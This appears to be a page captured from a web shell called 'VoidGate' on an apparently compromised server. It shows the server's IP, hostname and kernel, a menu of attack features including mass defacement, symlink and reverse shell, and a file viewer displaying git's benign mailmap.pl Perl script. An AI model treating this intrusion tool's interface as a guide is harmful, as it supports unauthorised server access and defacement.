ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
usr
/
share
/
doc
/
git-1.8.3.1
/
contrib
/
stats
/
Viewing: mailmap.pl
#!/usr/bin/perl use warnings 'all'; use strict; use Getopt::Long; my $match_emails; my $match_names; my $order_by = 'count'; Getopt::Long::Configure(qw(bundling)); GetOptions( 'emails|e!' => \$match_emails, 'names|n!' => \$match_names, 'count|c' => sub { $order_by = 'count' }, 'time|t' => sub { $order_by = 'stamp' }, ) or exit 1; $match_emails = 1 unless $match_names; my $email = {}; my $name = {}; open(my $fh, '-|', "git log --format='%at <%aE> %aN'"); while(<$fh>) { my ($t, $e, $n) = /(\S+) <(\S+)> (.*)/; mark($email, $e, $n, $t); mark($name, $n, $e, $t); } close($fh); if ($match_emails) { foreach my $e (dups($email)) { foreach my $n (vals($email->{$e})) { show($n, $e, $email->{$e}->{$n}); } print "\n"; } } if ($match_names) { foreach my $n (dups($name)) { foreach my $e (vals($name->{$n})) { show($n, $e, $name->{$n}->{$e}); } print "\n"; } } exit 0; sub mark { my ($h, $k, $v, $t) = @_; my $e = $h->{$k}->{$v} ||= { count => 0, stamp => 0 }; $e->{count}++; $e->{stamp} = $t unless $t < $e->{stamp}; } sub dups { my $h = shift; return grep { keys($h->{$_}) > 1 } keys($h); } sub vals { my $h = shift; return sort { $h->{$b}->{$order_by} <=> $h->{$a}->{$order_by} } keys($h); } sub show { my ($n, $e, $h) = @_; print "$n <$e> ($h->{$order_by})\n"; }
Coded With 💗 by
0x6ick